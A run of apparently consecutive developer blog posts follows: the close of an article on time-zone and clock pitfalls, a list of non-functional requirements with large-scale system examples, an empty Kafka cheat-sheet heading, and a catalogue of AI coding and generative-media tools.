Because “Monday at 10am” in New York is **not** “Monday at 10am” in London. Even worse, it might be 9am or 11am depending on whether one country is observing daylight saving time and the other isn’t.

And then there’s how computers keep time. Systems rely on their internal clocks — which can drift, desynchronize, or even reset. You might have a distributed system where one server thinks it’s 2:01:01 and another thinks it’s 2:00:59. That two-second difference? It can break session expiration, make logs unreadable, or cause duplicate or missed jobs.

So, it's not just a timezone thing. It’s about **consistency**, **clarity**, and **intent**. And when those are missing, time becomes a bug factory.

---

## Real-World Examples of Time Gone Wrong

Let’s look at a few real scenarios from the trenches of software development, especially in modern, distributed, client-server, and globally-used systems.

### The US User and the UK Server

Imagine a simple calendar app where a user in California books a meeting for 9am local time. Your backend system runs in the UK. If the system isn’t explicitly timezone-aware, it might store that time as 9am **UK** time — 8 hours ahead. That’s a completely different hour for the user, and it creates confusion or even missed meetings.

Developers often forget that **a time without a timezone is meaningless**. When users interact with your system, they care about local time — not UTC, not server time, not what your cloud provider thinks time is.

### Distributed Systems and Desynchronized Logs

Consider a microservices-based system spread across different cloud regions — say London and Virginia. Services emit logs and events to a central collector. Now imagine trying to debug a problem. You notice that Service B processes a message **before** Service A even logs it. This kind of temporal paradox usually happens because one server's clock is slightly ahead of the other. The logs don’t make sense. Events appear to happen in the wrong order.

This issue grows exponentially with scale. The more services, the more places time can go out of sync.

### The Global Exchange with a Local Business Day

Now picture a financial platform — an exchange — where trading is open based on London business hours. Users can be anywhere: Singapore, New York, São Paulo. Each expects to see their trades and reports in their own local time, but settlement and closing logic are all pinned to London time.

This introduces a unique twist: **business logic** is anchored to one time zone, while user experiences are based in another. If the system isn’t aware of this distinction, reports will be misaligned, cutoffs will be wrong, and trades might be accepted or rejected outside of expected windows.

These types of systems need two clear time strategies: one for internal logic (usually in UTC or in a defined business zone like London), and another for external communication (translated to the user's local time).

---

## So What’s the Right Way to Handle Time?

The golden rule is deceptively simple: **use UTC for everything internal**.

That means storing timestamps in UTC. Logging in UTC. Comparing times in UTC. Doing calculations, scheduling, and expirations — all in UTC. Then, and only then, do you convert to a user's time zone for display purposes.

But even with that principle in mind, there are subtleties. If you're measuring durations (like how long something took), you shouldn’t rely on the system clock at all — instead, use a monotonic clock like `System.nanoTime()` in Java. That way, if the system time changes (due to a manual adjustment, NTP update, or DST), your measurement doesn't get corrupted.

And while we're at it, always test your code around daylight saving time changes. Timezones aren’t just offsets — they’re rules, and those rules change. A time like “2:30 AM” might not even exist on a given day. Or it might exist **twice**. You won’t notice this in most of your tests... until your app goes into production.

---

## Time Is a Feature, Not an Afterthought

Here’s the biggest shift in mindset: **Time isn’t just metadata. It’s part of your system’s behavior.**

If you’re building anything with scheduling, user interaction, financial logic, logs, tokens, or data aggregation — time is baked into your system’s core functionality, whether you like it or not.

And getting it right means thinking about:

* Where your users are
* Where your servers are
* What time means in the context of your domain
* How time should be represented, stored, and displayed

It's about knowing that “one size fits all” doesn’t work. It's about being explicit, thoughtful, and consistent.

---

## Final Thoughts

If there’s one thing to take away from this: **assume time is complicated — because it is**.

It’s not just numbers and strings. Time is **political**, **inconsistent**, and full of weird edge cases you wouldn’t believe unless you’ve been bitten by them. One day, your app works fine — the next, users are wondering why their meetings are off by an hour or why their scheduled emails went out at 2 AM.

If you don’t actively design for time, it **will** break your system — and it’ll do so in subtle, painful ways that are hard to debug.

So the next time you casually reach for `new Date()`, pause for a second and ask yourself:

> *"Whose time is this? And does it really mean what I think it does?"*

If you're working with time and want to explore helpful converters, tools, and utilities for debugging or testing time-based logic, check out **[DateTransform.com](https://datetransform.com)** — an online toolbox built exactly for that.

Because time isn’t just hard. Time is **global**, **relative**, and **essential** — and the better you handle it, the more reliable, trustworthy, and user-friendly your system becomes.


# Time Is Hard: Why Developers Keep Getting It Wrong

# Application Non-Functional Requirements with Examples

Non-functional requirements (NFRs) define how a system should perform rather than what it should do. While functional requirements describe specific features or behaviors, NFRs cover the broader attributes that ensure the system is usable, reliable, secure, maintainable, and scalable under real-world conditions. These requirements are crucial for long-term success, as they directly impact user satisfaction, system stability, regulatory compliance, and operational costs.

To make this document more practical, we’ve updated key NFRs with real-world examples inspired by high-scale systems like Facebook.

---

## Availability
**System must be up and running as agreed in SLA.**  
**Examples:**
- Global infrastructure with multiple availability zones across continents (e.g., AWS US-East-1, EU-West-1).
- 99.99% uptime SLA monitored using Prometheus and alerting via PagerDuty.

## Latency (Performance / Response Time)
**Responsiveness under load.**  
**Examples:**
- Personalized feed loads in under 200ms globally by combining Redis, Memcached, and CDN edge caching.
- Lightweight ML models executed in memory at request time to reorder feed results.

## Scalability
**Ability to handle growing load.**  
**Examples:**
- System handles 5B feed reads/day and 10B likes/comments using sharded relational databases (MySQL) and wide-column stores (Cassandra).
- Uses hybrid fan-out/fan-in strategy for feed generation to prevent overload from celebrity users.

## Durability
**Ensure no data loss even under failure.**  
**Examples:**
- Photo and video uploads stored in blob storage with 11 nines durability (e.g., AWS S3 or internal solution).
- Redundant backups across multiple zones, and media records tracked in metadata DBs.

## Throughput
**Amount of work done in a time frame.**  
**Examples:**
- Write operations: ~20K posts/sec and 350K likes/comments/sec at peak traffic.
- Read operations: 175K feed reads/sec via precomputed timeline caching.

## Capacity Planning
**Handle current and projected loads.**  
**Examples:**
- Designed for 500M Daily Active Users uploading ~750TB of media daily.
- Peak traffic is 3× average, so systems scale automatically via cluster autoscalers.

## Escrow
**Ensure software can be maintained if the vendor disappears.**  
**Examples:**
- Public GitHub repository with open license and active community.
- For proprietary software, escrow contract provisions with access to source and deployment scripts.

## Emotional Factors
**Positive user experience and delight.**  
**Examples:**
- Metrics like user retention, session duration, and engagement rates are continuously monitored.
- Custom animations, interactive UI, and modern design increase the "Wow!" factor.

## Auditability and Control
**Ability to trace user and system actions.**  
**Examples:**
- Git commit logs track code-level changes.
- Application-level audit trails log data changes, logins, and permission updates.
- Kafka or event-sourced logs track business operations with replayable history.

## Security
**Protection from threats.**  
**Examples:**
- Encrypted secrets and tokens stored in vaults.
- TLS enforced for all endpoints and MFA for admin access.
- API rate limiting to prevent abuse (e.g., 10 likes/sec/user).

## Disaster Recovery
**Recover from major failures efficiently.**  
**Examples:**
- Infrastructure-as-code with Terraform enables full environment rebuilds.
- Media files geo-replicated, and DB snapshots taken every 6 hours with PITR (point-in-time recovery).

## Media Handling
**Efficiently process and deliver large files like images/videos.**  
**Examples:**
- Clients upload media directly to blob storage via signed URLs (bypassing app server bandwidth).
- Video/image processing happens asynchronously via Kafka pipeline.
- CDN caches final media with regional edge delivery for instant playback.

## Feed Optimization (Instagram-Specific Example)
**Efficient delivery of real-time, personalized content.**  
**Examples:**
- Feed timeline precomputed and stored in Cassandra per user for fast lookup.
- Hybrid fan-out/fan-in strategy for celebrities avoids write storms.
- Redis used to cache top 100 posts in user's feed with pre-ranked ML scores.

---

## Additional Non-Functional Requirements

## Accessibility
**Ensure the system is usable by everyone, including those with disabilities.**  
**Examples:**
- Mobile-first web app with PWA features like offline mode and push notifications.
- WCAG 2.1 compliance (e.g., ARIA roles, keyboard navigation, screen reader support).

## Adaptability
**Support for different interfaces and changing business needs.**  
**Examples:**
- RESTful APIs that allow integration with web, mobile, and IoT apps.
- Modular microservices allowing for language-specific or domain-specific scalability.

## Backup
**Regular data and image backup policies in place.**  
**Examples:**
- Nightly PostgreSQL DB backups stored in S3.
- Docker images versioned and stored in GitLab Container Registry.

## Certification
**Qualified personnel and audited practices.**  
**Examples:**
- Certified professionals such as AWS Certified Developers, CISSP, or ISO 27001 Lead Implementers.
- Regular audits conducted by ISO-accredited firms.

## Compliance
**Adherence to legal and industry regulations.**  
**Examples:**
- GDPR: "Delete my data" API endpoint with audit log.
- PCI-DSS: Encrypted payment data stored in vault.

## Configuration Management
**Safeguarding and managing environment settings.**  
**Examples:**
- Config stored securely using Vault/Kubernetes secrets.
- Version-controlled and encrypted with CI/CD promotion flow.

## Cost Management
**Optimize for both startup and lifetime costs.**  
**Examples:**
- Serverless for infrequent tasks (e.g., image recognition).
- Auto-scaling compute clusters to reduce idle costs.

## Data Integrity
**Ensure accuracy and consistency of data.**  
**Examples:**
- Foreign key constraints, checksums, replication consistency.
- Audit triggers for critical tables.

## Data Retention
**Policy for storing and purging data.**  
**Examples:**
- Log retention = 90 days.
- Anonymization of user data after inactivity (e.g., GDPR compliance).

## Dependency Management
**Reliance on third-party tools/libraries.**  
**Examples:**
- Use packages with >1k GitHub stars and active maintenance.
- Dependabot for patch updates.

## Deployment
**Automated and repeatable deployment process.**  
**Examples:**
- Helm charts + ArgoCD in Kubernetes.
- CI/CD with canary rollout support.

## Development Environment
**Stable and consistent dev experience.**  
**Examples:**
- Docker Compose and Dev Containers.
- Pre-commit hooks and GitHub Actions.

## Documentation
**Comprehensive and up-to-date references.**  
**Examples:**
- Swagger for APIs, Confluence for design.
- Public-facing changelog and architecture diagrams.

## Efficiency
**Optimal use of system resources.**  
**Examples:**
- Quarkus/Spring WebFlux over traditional thread-per-request models.
- Node.js streams for file processing.

## Maintainability
**Ease of changes and fixes.**  
**Examples:**
- Clear separation of concerns and modular design.
- Code linting, pre-merge quality gates.

## Monitoring and Reporting
**Visibility into system behavior.**  
**Examples:**
- Prometheus + Grafana dashboards.
- Business metrics in DataDog or Looker.

## Network Topology
**Resilient and secure network layout.**  
**Examples:**
- Private subnets for DBs and caching layers.
- Public traffic routed via API Gateway and WAF.

## Privacy
**Protect user-identifiable data.**  
**Examples:**
- Data minimization practices.
- Pseudonymization and encrypted audit logs.

## Quality Gates
**Automated quality enforcement.**  
**Examples:**
- SonarQube thresholds (bugs/vulnerabilities/blockers).
- Coverage >80%, duplication <3%.

## Readability
**Ease of understanding the system/code.**  
**Examples:**
- Descriptive variable names, comments, and diagrams.
- Architectural decision records (ADR).

## Reusability
**Repurpose code/components.**  
**Examples:**
- Shared libraries and UI kits.
- Internal component registries.

## Resilience
**Recover gracefully under stress.**  
**Examples:**
- Graceful degradation, fallback pages.
- Rate-limiting and circuit breakers.

## Resource Constraints
**Work within CPU/memory/storage limits.**  
**Examples:**
- Kubernetes resource limits and quotas.
- Compression of large datasets before processing.

## Safety
**Protect users and the environment.**  
**Examples:**
- CSRF and input validation.
- Consent management and disclaimers.

## Stability
**Consistent behavior over time.**  
**Examples:**
- Reproducible builds and tests.
- Controlled dependency updates.

## Supportability
**Ease of user and technical support.**  
**Examples:**
- Knowledge base and ticketing integration.
- Structured error messages with trace IDs.

## Testability
**Ease of writing and running tests.**  
**Examples:**
- Mocking and test containers.
- 100% CI test pass rate before merges.

## Transparency
**Make operations visible to users/devs.**  
**Examples:**
- Activity history in UI.
- Logging and trace headers in responses.

## Usability
**Ease of use for the end user.**  
**Examples:**
- Accessibility score >90 (Lighthouse).
- UX testing via sessions and surveys.

## Volume
**Support expected data/user scale.**  
**Examples:**
- DB optimized for 100M+ rows.
- Message queues configured for 1M+ messages/hr.
- Adaptive throttling if system load exceeds thresholds.

---

## References
- [Wikipedia: Non-functional requirement](https://en.wikipedia.org/wiki/Non-functional_requirement)  
- [Instagram System Design (FAANG-level blog)](https://engineering.fb.com/instagram-system-design)  
- [Data Compliance Standards – Insights for Professionals](https://www.insightsforprofessionals.com/it/leadership/data-compliance-standards)


# Application Non-Functional Requirements with Examples

# Kafka Reference: Topics & Concepts Cheat Sheet

# AI Coding: From Vibe Coding to Context Engineering

## Introduction

AI is transforming how we write code and build software. Instead of manually crafting every line, developers can now **describe what they want** and let AI generate the code. This ranges from **"vibe coding"**, trusting an AI to build an app based on natural language descriptions, to advanced **"context engineering"** where we carefully feed AI the information it needs to succeed. In this blog, we explore the latest AI coding tools and techniques, organized by application area, with brief usage guides and technical references.

---

## UI Development – Vibe Coding

**Vibe coding** refers to building software by describing it in natural language and trusting the AI to produce working code without manual edits.

### [Lovable.dev](https://lovable.dev/projects/3b9a44ad-22d1-42f6-b9fb-0cea432be39b)

* **Description:** Conversational UI builder powered by AI.
* **How to use:** Chat with the AI to describe app features. It integrates with Supabase, GitHub, and more.

### [Tempo.new](https://app.tempo.new/canvases/5899a1e9-c5f4-40e5-9d96-db63ffcc7ef3/editor)

* **Description:** Full-stack app generator with flowcharts, PRDs, and backend.
* **How to use:** Define app features and tech stack, then refine visually or with AI prompts.

### [Bolt.new](https://bolt.new)

* **Description:** Turn Figma designs or prompts into running code in your browser.
* **How to use:** Import UI designs or write a prompt, then modify in the built-in VS Code editor.

### [Replit AI](https://replit.com)

* **Description:** AI coding assistant inside Replit’s online IDE.
* **How to use:** Describe your app and let Replit’s AI create and deploy it.

### [v0.dev](https://v0.dev/)

* **Description:** AI-powered UI generator by Vercel for creating React components with Tailwind CSS.
* **How to use:** Enter natural language prompts to generate user interface code.

---

## Context Engineering

**Context engineering** is the practice of providing curated input (docs, examples, rules) to guide AI systems effectively.

### [Coleman's Intro to Context Engineering](https://github.com/coleam00/context-engineering-intro)

* **Description:** GitHub repo explaining why and how to apply context engineering.
* **How to use:** Use templates like `CLAUDE.md`, `INITIAL.md`, and examples/ to persist context.

### [Claude Code Overview](https://docs.anthropic.com/en/docs/claude-code/overview) and [Claude Memory](https://docs.anthropic.com/en/docs/claude-code/memory)

* **Description:** Official docs on Claude’s memory and coding features.
* **How to use:** Create and maintain `CLAUDE.md` files with project-specific instructions.

### [LangChain on Context Engineering](https://blog.langchain.com/context-engineering-for-agents/)

* **Description:** Blog outlining strategies (write, select, compress, isolate) for effective agent context.
* **How to use:** Feed agents a scoped and relevant context via scratchpads or memory.

### [Phil Schmid’s Context Engineering Blog](https://www.philschmid.de/context-engineering)

* **Description:** Overview of real-world examples and best practices.
* **How to use:** Use tools like Haystack, Weaviate, and metadata filtering to structure context.

### [YouTube: Context Engineering](https://www.youtube.com/watch?v=Egeuql3Lrzg&t=623s) and [LangChain Agents](https://www.youtube.com/watch?v=cjW6ofe7AY4&t=3s)

* **Description:** Visual walkthroughs of context workflows.
* **How to use:** Follow coding demonstrations and apply project structuring tips.

---

## Coding Agents & AI Configuration Files

These markdown files act as persistent configuration for AI tools.

### `AGENTS.md`

* **Used by:** OpenAI Codex CLI
* **How to use:** Write coding rules or preferences. The CLI reads and merges them into prompts.

### `CLAUDE.md`

* **Used by:** Anthropic Claude
* **How to use:** Provide coding conventions and setup in root directory or `~/.claude/`.

### `GEMINI.md`

* **Used by:** Google Gemini CLI
* **How to use:** Supply project info and constraints to customize Gemini’s behavior.

---

## Automation Tools

### [n8n](https://n8n.io)

* **Description:** Open-source workflow automation with AI integrations.
* **How to use:** Build visual flows using triggers, AI nodes, and logic for automation.

### [Web UI Agent](https://github.com/browser-use/web-ui)

* **Description:** Run AI agents in your browser to automate interactions.
* **How to use:** Use AI to click and navigate UI automatically (e.g., for testing).

---

## Generative AI – Images & Video

### [Midjourney](https://www.midjourney.com/jobs/9b3d27c2-37ef-4c2f-84aa-9205848907b6?index=0)

* **Description:** High-quality image generation via prompt.
* **How to use:** Use Discord to enter prompts and receive images.

### [DeepMind Veo](https://deepmind.google/models/veo/)

* **Description:** Google’s text-to-video model (up to 60s video with audio).
* **How to use:** Use via Vertex AI or integrated platforms.

### [Tencent HunyuanVideo](https://github.com/Tencent-Hunyuan/HunyuanVideo)

* **Description:** Open-source video generator with large model.
* **How to use:** Use API or notebook with prompt-based input.

### [VEED.io](https://www.veed.io/pricing)

* **Description:** Online video editor with AI automation.
* **How to use:** Upload media or prompt to create videos with captions and effects.

### [Envato VideoGen](https://labs.envato.com/video-gen)

* **Description:** Converts static images and text into animated videos.
* **How to use:** Input visuals and text, generate social-ready videos.

### [CapCut](https://www.capcut.com/my-edit)

* **Description:** AI-powered video maker with avatars and scripts.
* **How to use:** Enter prompts, let AI generate and edit a complete video.

### [OpenArt](https://openart.ai/home)

* **Description:** Free AI image generator with 100+ models.
* **How to use:** Choose model and prompt to generate artwork.

### [LTX Studio](https://ltx.studio/pricing)

* **Description:** AI film production from ideation to scenes.
* **How to use:** Input story and let LTX build visuals and shot structure.

### [OpenAI Sora](https://sora.chatgpt.com/explore/images)

* **Description:** Experimental video generation model via ChatGPT.
* **How to use:** Access via ChatGPT interface and input prompts.

### [Imagine.art](https://www.imagine.art/)

* **Description:** AI art generator that creates images and videos from text descriptions, featuring real-time generation, creative upscaling, and character consistency.
* **How to use:** Describe your idea in text using tools like Text to Image or Real-Time Generation, then refine the output.

### [Runway ML](https://runwayml.com/)

* **Description:** AI research tools for multimodal media creation, including video generation with models like Gen-4 for narrative content.
* **How to use:** Start with simple conversations and add references to generate videos and other media.

---

## Game Development

### [Rosebud AI](https://rosebud.ai/profile/my-plan)

* **Description:** AI-driven game creator.
* **How to use:** Describe game idea and let Rosebud build a playable prototype.

### [Google AI Studio](https://aistudio.google.com/prompts/new_chat)

* **Description:** Chat-based interface to prompt Gemini/PaLM models.
* **How to use:** Generate game scripts, dialogue, or assets via prompt.

---

## Final Thoughts

AI tools are shifting from assistants to collaborators. By using **vibe coding** for quick ideas, **context engineering** for high-quality output, and **automation** for workflows, developers can achieve more with less friction. Add in generative media tools, and you have an entire product pipeline enhanced by AI.

The future of AI coding isn’t just writing code. It’s building entire systems, apps, and experiences with guidance, not grunt work.